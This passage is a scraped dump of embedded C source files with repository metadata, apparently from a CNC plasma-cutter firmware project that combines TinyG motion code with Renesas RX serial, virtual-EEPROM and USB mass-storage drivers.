(spindle_mode == SPINDLE_CCW) {\n//\t\tpl_arcook_stop();\n//\t\tisCuttingSet(false);\n//\t\tTORCH = FALSE;\n//\t\tsimTorch = false;\n\t} else {\n\t\tpl_arcook_stop();\n//\t\tisCuttingSet(false);\n\t\tTORCH = FALSE;\n\t\tsimTorch = false;\n\t}\n#endif // __RX\n\n\t// PWM spindle control\n\tpwm_set_duty(PWM_1, cm_get_spindle_pwm(spindle_mode) );\n}\n\n/*\n * cm_set_spindle_speed() \t- queue the S parameter to the planner buffer\n * cm_exec_spindle_speed() \t- execute the S command (called from the planner buffer)\n * _exec_spindle_speed()\t- spindle speed callback from planner queue\n */\nstat_t cm_set_spindle_speed(float speed)\n{\n//\tif (speed > cfg.max_spindle speed)\n// return (STAT_MAX_SPINDLE_SPEED_EXCEEDED);\n\n\tfloat value[AXES] = { speed, 0,0,0,0,0 };\n\tmp_queue_command(_exec_spindle_speed, value, value);\n\treturn (STAT_OK);\n}\n\nvoid cm_exec_spindle_speed(float speed)\n{\n\tcm_set_spindle_speed(speed);\n}\n\nstatic void _exec_spindle_speed(float *value, float *flag)\n{\n\tcm_set_spindle_speed_parameter(MODEL, value[0]);\n\tpwm_set_duty(PWM_1, cm_get_spindle_pwm(cm.gm.spindle_mode) ); // update spindle speed if we're running\n}\n\n#ifdef __cplusplus\n}\n#endif\n" }, { "alpha_fraction": 0.5136771202087402, "alphanum_fraction": 0.5348654985427856, "avg_line_length": 41.47142791748047, "blob_id": "502c810dbed661bfdc09c477d8b8afff7c93b716", "content_id": "8802125138061debbcfa529f91c7c4b31afc537d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 8920, "license_type": "no_license", "max_line_length": 120, "num_lines": 210, "path": "/r_sci_async_rx/r_sci_async_rx_if.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No \n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all \n* applicable laws, including copyright laws. \n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, \n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM \n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES \n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS \n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of \n* this software. By using this software, you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer \n*\n* Copyright (C) 2011 Renesas Electronics Corporation. All rights reserved. \n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_sci_async_rx_if.h\n* Description : Functions for using SCI on RX devices. \n************************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* 08.05.2013 2.00 Initial multi-channel release.\n* 20.05.2013 2.10 Added e_sci_cmd commands SCI_CMD_TX_Q_BYTES_FREE and SCI_CMD_RX_Q_BYTES_AVAIL_TO_READ.\n* 11.06.2013 2.11 Change in r_sci_async_rx.c\n* 12.06.2013 2.12 Change in r_sci_async_rx.c\n***********************************************************************************************************************/\n\n#ifndef SCI_ASYNC_IF_H\n#define SCI_ASYNC_IF_H\n\n/***********************************************************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n***********************************************************************************************************************/\n/* Fixed width integer support. */\n#include <stdint.h>\n/* bool support */\n#include <stdbool.h>\n/* Used for configuring the SCI code */\n#include \"r_sci_async_rx_config.h\"\n\n\n/***********************************************************************************************************************\nMacro definitions\n***********************************************************************************************************************/\n/* Version Number of API. */\n#define SCI_ASYNC_VERSION_MAJOR (2)\n#define SCI_ASYNC_VERSION_MINOR (12)\n\n//#define NULL 0\n\n/*****************************************************************************\nTypedef definitions\n******************************************************************************/\ntypedef enum e_sci_ch // SCI channel numbers\n{\n SCI_CH0=0,\n SCI_CH1,\n SCI_CH2,\n SCI_CH3,\n SCI_CH4,\n SCI_CH5,\n SCI_CH6,\n SCI_CH7,\n SCI_CH8,\n SCI_CH9,\n SCI_CH10,\n SCI_CH11,\n SCI_CH12,\n SCI_NUM_CH\n} sci_ch_t;\n\n\ntypedef enum e_sci_mode // SCI operational modes\n{\n SCI_MODE_OFF=0, // channel not in use\n SCI_MODE_ASYNC, // Asyncronous\n SCI_MODE_SYNC, // Synchronous\n SCI_MODE_SSPI, // Simple SPI\n SCI_MODE_SI2C, // Simple I2C\n SCI_MODE_SMART // Smart card interface\n} sci_mode_t;\n\n\ntypedef enum e_sci_err // SCI API error codes\n{\n SCI_SUCCESS=0,\n SCI_ERR_BAD_CHAN, // non-existent channel number\n SCI_ERR_OMITTED_CHAN, // SCI_CHx_INCLUDED is 0 in config.h\n SCI_ERR_CH_NOT_CLOSED, // chan still running in another mode\n SCI_ERR_BAD_MODE, // unsupported or incorrect mode for channel\n SCI_ERR_INVALID_ARG, // argument is not one of the predefined values\n SCI_ERR_QUEUE_UNAVAILABLE, // can't open tx or rx queue or both\n SCI_ERR_INSUFFICIENT_SPACE, // not enough space in tx queue\n SCI_ERR_INSUFFICIENT_DATA, // not enough data in receive queue\n SCI_ERR_NULL_PTR // received null ptr; missing required argument\n} sci_err_t;\n\n\n/* CHANNEL CONTROL BLOCK HANDLE */\n\ntypedef struct st_sci_ch_ctrl * sci_hdl_t;\n\n\n/* SCI_OPEN() ASYNC ARGUMENT DEFINITIONS (do NOT change values) */\n\n#define SCI_CLK_INT (0x00U) // use internal clock for baud generation\n#define SCI_CLK_EXT8X (0x03U) // use external clock 8x baud rate\n#define SCI_CLK_EXT16X (0x02U) // use external clock 16x baud rate\n#define SCI_DATA_7BIT (0x40U)\n#define SCI_DATA_8BIT (0x00U)\n#define SCI_PARITY_ON (0x20U)\n#define SCI_PARITY_OFF (0x00U)\n#define SCI_ODD_PARITY (0x10U)\n#define SCI_EVEN_PARITY (0x00U)\n#define SCI_STOPBITS_2 (0x08U)\n#define SCI_STOPBITS_1 (0x00U)\n\n\ntypedef struct st_sci_uart\n{\n uint32_t baud_rate; // ie 9600, 19200, 115200\n uint8_t clk_src; // use SCI_CLK_INT/EXT8X/EXT16X\n uint8_t data_size; // use SCI_DATA_nBIT\n uint8_t parity_en; // use SCI_PARITY_ON/OFF\n uint8_t parity_type; // use SCI_ODD/EVEN_PARITY\n uint8_t stop_bits; // use SCI_STOPBITS_1/2\n uint8_t int_priority; // txi, tei, rxi INT priority; 1=low, 15=high\n} sci_uart_t;\n\n\n/* CALLBACK FUNCTION ARGUMENT DEFINITIONS */\n\ntypedef enum e_sci_cb_evt // callback function events\n{\n SCI_EVT_TEI, // TEI interrupt occurred; transmitter is idle\n SCI_EVT_RX_CHAR, // received a character; already placed in queue\n SCI_EVT_RXBUF_OVFL, // rx queue is full; can't save anymore data\n SCI_EVT_OVFL_ERR, // receiver hardware overrun error\n SCI_EVT_FRAMING_ERR, // receiver hardware framing error\n SCI_EVT_PARITY_ERR // receiver hardware parity error\n} sci_cb_evt_t;\n\ntypedef struct st_sci_cb_args // callback arguments\n{\n sci_hdl_t hdl; \n sci_cb_evt_t event; \n uint8_t byte; // byte read when error occurred (unused for TEI)\n} sci_cb_args_t;\n\n\n/* SCI_CONTROL() ARGUMENT DEFINITIONS */\n\n// commands\ntypedef enum e_sci_cmd\n{\n SCI_CMD_EN_NOISE_CANCEL, // enable noise cancellation\n SCI_CMD_EN_CTS_IN, // enable CTS input (default RTS output)\n SCI_CMD_EN_TEI, // enable TEI interrupts\n SCI_CMD_OUTPUT_BAUD_CLK, // output baud clock on the SCK pin\n SCI_CMD_START_BIT_EDGE, // detect start bit as falling edge of RXDn pin\n // (default detect as low level on RXDn pin)\n SCI_CMD_GENERATE_BREAK, // generate break condition\n SCI_CMD_TX_Q_FLUSH, // flush transmit queue\n SCI_CMD_RX_Q_FLUSH, // flush receive queue\n // the following use *p_args\n SCI_CMD_TX_Q_BYTES_FREE, // get count of unused transmit queue bytes\n SCI_CMD_RX_Q_BYTES_AVAIL_TO_READ, // get num bytes ready for reading\n SCI_CMD_CHANGE_BAUD // change baud rate\n} sci_cmd_t;\n\n// SCI_CMD_CHANGE_BAUD takes a pointer to this structure for *p_args\ntypedef struct st_sci_baud\n{\n uint32_t pclk; // peripheral clock speed; e.g. 24000000 is 24MHz\n uint32_t rate; // e.g. 9600, 19200, 115200\n} sci_baud_t;\n\n// SCI_CMD_TX_Q_BYTES_FREE and SCI_CMD_RX_Q_BYTES_AVAIL_TO_READ take a pointer\n// to a uint16_t for p_args\n\n\n/*****************************************************************************\nPublic Functions\n******************************************************************************/\nsci_err_t R_SCI_Open(uint8_t const chan,\n sci_mode_t const mode,\n void * const p_cfg,\n void (* const p_callback)(void *p_args),\n sci_hdl_t * const p_hdl);\n\nsci_err_t R_SCI_Send(sci_hdl_t const hdl,\n uint8_t *p_src,\n uint16_t const length);\n \nsci_err_t R_SCI_Receive(sci_hdl_t const hdl,\n uint8_t *p_dst,\n uint16_t const length);\n\nsci_err_t R_SCI_Control(sci_hdl_t const hdl,\n sci_cmd_t const cmd,\n void *p_args);\n\nsci_err_t R_SCI_Close(sci_hdl_t const hdl);\n\nuint32_t R_SCI_GetVersion(void);\n\n \n#endif /* SCI_ASYNC_IF_H */\n\n" }, { "alpha_fraction": 0.7240300178527832, "alphanum_fraction": 0.7302878499031067, "avg_line_length": 30.959999084472656, "blob_id": "622f14e6967ca3acc62d816f4f1a68482fbee9c2", "content_id": "a8ef7d68f07ef6ac0e96a454f3afa6ee8835c29a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1598, "license_type": "no_license", "max_line_length": 91, "num_lines": 50, "path": "/src/cnc/help.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * help.h - collected help and assorted display routines\n * This file is part of the TinyG project\n *\n * Copyright (c) 2010 - 2013 Alden S. Hart, Jr.\n *\n * This file (\"the software\") is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License, version 2 as published by the\n * Free Software Foundation. You should have received a copy of the GNU General Public\n * License, version 2 along with the software. If not, see <http://www.gnu.org/licenses/>.\n *\n * THE SOFTWARE IS DISTRIBUTED IN THE HOPE THAT IT WILL BE USEFUL, BUT WITHOUT ANY\n * WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT\n * SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF\n * OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n */\n\n#ifndef HELP_H_ONCE\n#define HELP_H_ONCE\n\n#ifdef __cplusplus\nextern \"C\"{\n#endif\n\n#ifdef __HELP_SCREENS\n\n\tstat_t help_general(nvObj_t *nv);\n\tstat_t help_config(nvObj_t *nv);\n\tstat_t help_test(nvObj_t *nv);\n\tstat_t help_defa(nvObj_t *nv);\n\tstat_t help_boot_loader(nvObj_t *nv);\n\n#else\n\n\tstat_t help_stub(nvObj_t *nv);\n\t#define help_general help_stub\n\t#define help_config help_stub\n\t#define help_test help_stub\n\t#define help_defa help_stub\n\t#define help_boot_loader help_stub\n\n#endif // __HELP_SCREENS\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif // End of include guard: HELP_H_ONCE\n" }, { "alpha_fraction": 0.549132227897644, "alphanum_fraction": 0.5659775137901306, "avg_line_length": 57.46268844604492, "blob_id": "3bf5cada2dea195f121b51d7ed6f3bcd84e59930", "content_id": "26e1e09c01e895c7ab9036af6f2b8e833d632909", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 7836, "license_type": "no_license", "max_line_length": 120, "num_lines": 134, "path": "/r_vee/src/r_vee_target.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No \n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all \n* applicable laws, including copyright laws. \n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, \n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM \n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES \n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS \n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of \n* this software. By using this software, you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer \n*\n* Copyright (C) 2013 Renesas Electronics Corporation. All rights reserved. \n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_vee_target.h\n* Description : Includes the appropriate header file for the currently chosen MCU.\n************************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 03.01.2013 1.70 Added R_VEE_Open() function to initialize or reset VEE. Created r_vee_target.h to replace\n* multiple r_vee_<mcu>.h files that had duplicate information. Updated to be compliant with\n* FIT v1.00 specification. This means that config file is now in 'ref' folder. Tested with\n* RX62G, RX210, and RX63T. Added R_VEE_Control() function. First release for this file.\n***********************************************************************************************************************/\n\n#ifndef VEE_TARGET_H\n#define VEE_TARGET_H\n\n/***********************************************************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n***********************************************************************************************************************/\n/* From r_bsp. Gives us MCU information used to configure VEE project. */\n#include \"platform.h\"\n/* VEE types. */\n#include \"r_vee_types.h\"\n\n/* Depending on which MCU was chosen in mcu_info.h we can bring in the appropriate VEE port header files. The header\n files needed are:\n -r_vee_*MCU Group*.h: This file has info about MCU specific part of VEE (size of VEE typedefs)\n -r_vee_config_*MCU Group*.h: This file has record and sector configurations. */\n#if defined(BSP_MCU_RX63_ALL) \n #if (BSP_DATA_FLASH_SIZE_BYTES == 8192)\n #include \"targets\\rx63x\\r_vee_config_rx63x_8kb.h\"\n #elif (BSP_DATA_FLASH_SIZE_BYTES == 32768)\n #include \"targets\\rx63x\\r_vee_config_rx63x_32kb.h\"\n #else\n #error \"No VEE configuration file for a MCU with this size data flash. Make new config file in targets\\rx63x\\\"\n #endif\n#elif defined(BSP_MCU_RX62_ALL)\n #if (BSP_DATA_FLASH_SIZE_BYTES == 8192)\n #include \"targets\\rx62x\\r_vee_config_rx62x_8kb.h\"\n #elif (BSP_DATA_FLASH_SIZE_BYTES == 32768)\n #include \"targets\\rx62x\\r_vee_config_rx62x_32kb.h\"\n #else\n #error \"No VEE configuration file for a MCU with this size data flash. Make new config file in targets\\rx62x\\\"\n #endif\n#elif defined(BSP_MCU_RX21_ALL)\n #if (BSP_DATA_FLASH_SIZE_BYTES == 8192)\n #include \"targets\\rx21x\\r_vee_config_rx21x_8kb.h\"\n #else\n #error \"No VEE configuration file for a MCU with this size data flash. Make new config file in targets\\rx21x\\\"\n #endif\n#else\n #error \"No MCU chosen for VEE. Please select platform in platform.h\"\n#endif\n\n/***********************************************************************************************************************\nMacro definitions\n***********************************************************************************************************************/\n#if (DF_PROGRAM_SIZE_SMALL == 1)\n /* VEE Block state flags, the size of these should be the minimum write size of this MCU's data flash */\n #define VEE_BLOCK_FLAG_ERASING (0xAA)\n #define VEE_BLOCK_FLAG_ACTIVE (0xBB)\n #define VEE_BLOCK_FLAG_FULL (0xCC)\n #define VEE_BLOCK_FLAG_NEXTUP (0xDD)\n \n /* Value that is written into the 'check' field when programming a record */\n #define VEE_RECORD_WRITTEN (0xAB) \n#elif (DF_PROGRAM_SIZE_SMALL == 2)\n /* VEE Block state flags, the size of these should be the minimum write size of this MCU's data flash */\n #define VEE_BLOCK_FLAG_ERASING (0xAAAA)\n #define VEE_BLOCK_FLAG_ACTIVE (0xBBBB)\n #define VEE_BLOCK_FLAG_FULL (0xCCCC)\n #define VEE_BLOCK_FLAG_NEXTUP (0xDDDD)\n \n /* Value that is written into the 'check' field when programming a record */\n #define VEE_RECORD_WRITTEN (0xABCD)\n#elif (DF_PROGRAM_SIZE_SMALL == 4)\n /* VEE Block state flags, the size of these should be the minimum write size of this MCU's data flash */\n #define VEE_BLOCK_FLAG_ERASING (0xAAAAAAAA)\n #define VEE_BLOCK_FLAG_ACTIVE (0xBBBBBBBB)\n #define VEE_BLOCK_FLAG_FULL (0xCCCCCCCC)\n #define VEE_BLOCK_FLAG_NEXTUP (0xDDDDDDDD)\n \n /* Value that is written into the 'check' field when programming a record */\n #define VEE_RECORD_WRITTEN (0xABCDABCD)\n#elif (DF_PROGRAM_SIZE_SMALL == 8)\n /* VEE Block state flags, the size of these should be the minimum write size of this MCU's data flash */\n #define VEE_BLOCK_FLAG_ERASING (0xAAAAAAAAAAAAAAAA)\n #define VEE_BLOCK_FLAG_ACTIVE (0xBBBBBBBBBBBBBBBB)\n #define VEE_BLOCK_FLAG_FULL (0xCCCCCCCCCCCCCCCC)\n #define VEE_BLOCK_FLAG_NEXTUP (0xDDDDDDDDDDDDDDDD)\n \n /* Value that is written into the 'check' field when programming a record */\n #define VEE_RECORD_WRITTEN (0xABCDABCDABCDABCD)\n#endif\n\n#if defined(BSP_MCU_SERIES_RX600) || defined(BSP_MCU_SERIES_RX200)\n /* This defines whether we need to explicitly enable the data flash before trying to read it */\n #define VEE_ENABLE_DF (1)\n#endif\n\n/***********************************************************************************************************************\nTypedef definitions\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\nExported global functions (to be accessed by other files)\n***********************************************************************************************************************/\n#ifdef VEE_ENABLE_DF\nvoid vee_enable_df(void);\n#endif \nuint8_t vee_get_block_info(uint8_t sector, uint32_t block, vee_block_info_t *VEE_block);\nuint8_t vee_blank_check_address(uint8_t *addr);\nuint32_t vee_move_to_boundary(uint32_t address);\nuint8_t vee_check_record(vee_record_t *record);\nuint8_t R_VEE_GenerateCheck(vee_record_t *record);\nuint8_t vee_blank_check_block(uint32_t block);\n\n#endif //VEE_TARGET_H\n\n\n" }, { "alpha_fraction": 0.4581708312034607, "alphanum_fraction": 0.46886399388313293, "avg_line_length": 40.40104293823242, "blob_id": "b0444ff875b461b060b513627394581a8a3a1e5c", "content_id": "c8c0540792792ff179d7bbb5cb77c06d96122c84", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 7949, "license_type": "no_license", "max_line_length": 120, "num_lines": 192, "path": "/r_usb_hmsc/src/r_usb_hmsc_ddi.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_hmsc_ddi.c\n* Description : USB Host MSC BOT ddi\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Support Multi device.\n***********************************************************************************************************************/\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_hatapi_define.h\" /* Peripheral ATAPI Device extern */\n#include \"r_usb_hmsc_define.h\" /* Host Mass Storage Class Driver define */\n#include \"r_usb_hmsc_extern.h\" /* Host MSC grobal define */\n#include \"r_usb_api.h\"\n#include \"r_usb_hmsc_config.h\"\n#include \"r_usb_hmsc_if.h\"\n\n/******************************************************************************\nRenesas Abstracted HMSC Driver functions\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hmsc_ClassCheck\nDescription : check class\nArguments : USB_CLSINFO_t *mess : message\nReturn value : none\n******************************************************************************/\nvoid usb_hmsc_ClassCheck(USB_UTR_t *ptr, USB_CLSINFO_t *mess)\n{\n uint16_t ofset, result;\n uint16_t strage_drive_no;\n\n result = USB_DONE;\n switch( usb_shmsc_InitSeq[ptr->ip] )\n {\n case USB_SEQ_0:\n /* Check device count */\n if( usb_ghmsc_StrgCount == USB_MAXSTRAGE )\n {\n USB_PRINTF0(\"### max device count over(HMSC) !\\n\");\n result = USB_ERROR;\n }\n\n /* Check drive count */\n if( usb_ghmsc_MaxDrive >= USB_MAXDRIVE )\n {\n USB_PRINTF1(\" max drive over %d(HMSC) .\\n\", usb_ghmsc_MaxDrive);\n result = USB_ERROR;\n }\n\n strage_drive_no = R_usb_hmsc_alloc_drvno( ptr->ip, usb_ghmsc_Devaddr[ptr->ip] );\n\n /* Descriptor check */\n ofset = usb_hmsc_SmpBotDescriptor(ptr, usb_ghmsc_InterfaceTable[ptr->ip], strage_drive_no);\n if( ofset == USB_ERROR )\n {\n USB_PRINTF0(\"### Descriptor search error(HMSC) !\\n\");\n result = USB_ERROR;\n }\n\n /* Serial number check */\n if( result != USB_ERROR )\n {\n /* no string device (STALL) */\n if( usb_ghmsc_DeviceTable[ptr->ip][14] == 0\n && usb_ghmsc_DeviceTable[ptr->ip][15] == 0\n && usb_ghmsc_DeviceTable[ptr->ip][16] == 0 ) {\n\n ofset = usb_hmsc_SmpPipeInfo(ptr, usb_ghmsc_InterfaceTable[ptr->ip]\n , strage_drive_no, usb_ghmsc_Speed[ptr->ip]\n , (uint16_t)usb_ghmsc_ConfigTable[ptr->ip][2]);\n if( ofset == USB_ERROR ) {\n USB_PRINTF0(\"### Device information error !\\n\");\n }\n R_usb_hstd_ReturnEnuMGR(ptr, ofset); /* return to MGR */\n usb_shmsc_InitSeq[ptr->ip] = USB_SEQ_0;\n return;\n }\n\n ofset = usb_hmsc_GetStringDescriptor1(ptr, usb_ghmsc_Devaddr[ptr->ip],\n (uint16_t)usb_ghmsc_DeviceTable[ptr->ip][16],\n (USB_CB_t)usb_hmsc_class_check_result );\n usb_shmsc_InitSeq[ptr->ip]++;\n }\n break;\n\n case USB_SEQ_1:\n ofset = usb_hmsc_GetStringDescriptor1Check(ptr, mess->result);\n if( ofset == USB_ERROR )\n {\n result = USB_ERROR;\n }\n else\n {\n ofset = usb_hmsc_GetStringDescriptor2(ptr, usb_ghmsc_Devaddr[ptr->ip],\n (uint16_t)usb_ghmsc_DeviceTable[ptr->ip][15],\n (USB_CB_t)usb_hmsc_class_check_result );\n usb_shmsc_InitSeq[ptr->ip]++;\n }\n break;\n\n case USB_SEQ_2:\n /* Serial number check */\n ofset = usb_hmsc_GetStringDescriptor2Check(ptr, mess->result);\n if( ofset == USB_ERROR )\n {\n result = USB_ERROR;\n }\n \n ofset = usb_hmsc_GetStringInfoCheck(ptr, usb_ghmsc_Devaddr[ptr->ip]);\n if( ofset == USB_ERROR )\n {\n USB_PRINTF0(\"*** This device is No Serial Number\\n\");\n result = USB_ERROR;\n }\n \n if( result != USB_ERROR )\n {\n\n strage_drive_no = R_usb_hmsc_ref_drvno( ptr->ip, usb_ghmsc_Devaddr[ptr->ip] );\n\n /* Pipe Information table set */\n ofset = usb_hmsc_SmpPipeInfo(ptr, usb_ghmsc_InterfaceTable[ptr->ip],\n strage_drive_no, usb_ghmsc_Speed[ptr->ip],\n (uint16_t)usb_ghmsc_ConfigTable[ptr->ip][2]);\n if( ofset == USB_ERROR )\n {\n USB_PRINTF0(\"### Device information error !\\n\");\n }\n /* Return to MGR */\n R_usb_hstd_ReturnEnuMGR(ptr, ofset);\n usb_shmsc_InitSeq[ptr->ip] = USB_SEQ_0;\n }\n break;\n\n default:\n result = USB_ERROR;\n break;\n }\n \n if( result == USB_ERROR )\n {\n usb_shmsc_InitSeq[ptr->ip] = USB_SEQ_0;\n /* Return to MGR */\n R_usb_hstd_ReturnEnuMGR(ptr, USB_ERROR);\n }\n} /* eof usb_hmsc_ClassCheck() */\n\n\n/******************************************************************************\nFunction Name : usb_hmsc_ClrData\nDescription : data clear\nArguments : uint16_t len : \n : uint8_t *buf : \nReturn value : none\n******************************************************************************/\nvoid usb_hmsc_ClrData(uint16_t len, uint8_t *buf)\n{\n uint16_t i;\n\n for( i = 0; i < len; ++i )\n {\n *buf++ = 0x00;\n }\n} /* eof usb_hmsc_ClrData() */\n\n\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.6319348812103271, "alphanum_fraction": 0.6492173075675964, "avg_line_length": 28.68401527404785, "blob_id": "099e44b200e5e186a201db38131133fa676682e1", "content_id": "23058be33aaec18e91bc15cabaf9e3527d2dce6e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 7985, "license_type": "no_license", "max_line_length": 95, "num_lines": 269, "path": "/src/cnc/hardware.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * hardware.c - general hardware support functions\n * This file is part of the TinyG project\n *\n * Copyright (c) 2010 - 2015 Alden S. Hart, Jr.\n *\n * This file (\"the software\") is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License, version 2 as published by the\n * Free Software Foundation. You should have received a copy of the GNU General Public\n * License, version 2 along with the software. If not, see <http://www.gnu.org/licenses/>.\n *\n * As a special exception, you may use this file as part of a software library without\n * restriction. Specifically, if other files instantiate templates or use macros or\n * inline functions from this file, or you compile this file and link it with other\n * files to produce an executable, this file does not by itself cause the resulting\n * executable to be covered by the GNU General Public License. This exception does not\n * however invalidate any other reasons why the executable file might be covered by the\n * GNU General Public License.\n *\n * THE SOFTWARE IS DISTRIBUTED IN THE HOPE THAT IT WILL BE USEFUL, BUT WITHOUT ANY\n * WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT\n * SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF\n * OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n */\n\n#ifdef __AVR\n#include <avr/wdt.h>\t\t\t// used for software reset\n#endif\n\n#include \"tinyg.h\"\t\t// #1\n#include \"config.h\"\t\t// #2\n#include \"hardware.h\"\n#include \"switch.h\"\n#include \"controller.h\"\n#include \"text_parser.h\"\n#ifdef __AVR\n#include \"xmega/xmega_init.h\"\n#include \"xmega/xmega_rtc.h\"\n#endif\n\n#ifdef __cplusplus\nextern \"C\"{\n#endif\n\nuint32_t timerDwell;\nuint32_t timerMotorPower;\n/*\nuint32_t timerLoad;\n * _port_bindings - bind XMEGA ports to hardware - these changed at board revision 7\n * hardware_init() - lowest level hardware init\n */\n\nstatic void _port_bindings(float hw_version)\n{\n#ifdef __AVR\n\thw.st_port[0] = &PORT_MOTOR_1;\n\thw.st_port[1] = &PORT_MOTOR_2;\n\thw.st_port[2] = &PORT_MOTOR_3;\n\thw.st_port[3] = &PORT_MOTOR_4;\n\n\thw.sw_port[0] = &PORT_SWITCH_X;\n\thw.sw_port[1] = &PORT_SWITCH_Y;\n\thw.sw_port[2] = &PORT_SWITCH_Z;\n\thw.sw_port[3] = &PORT_SWITCH_A;\n\n\tif 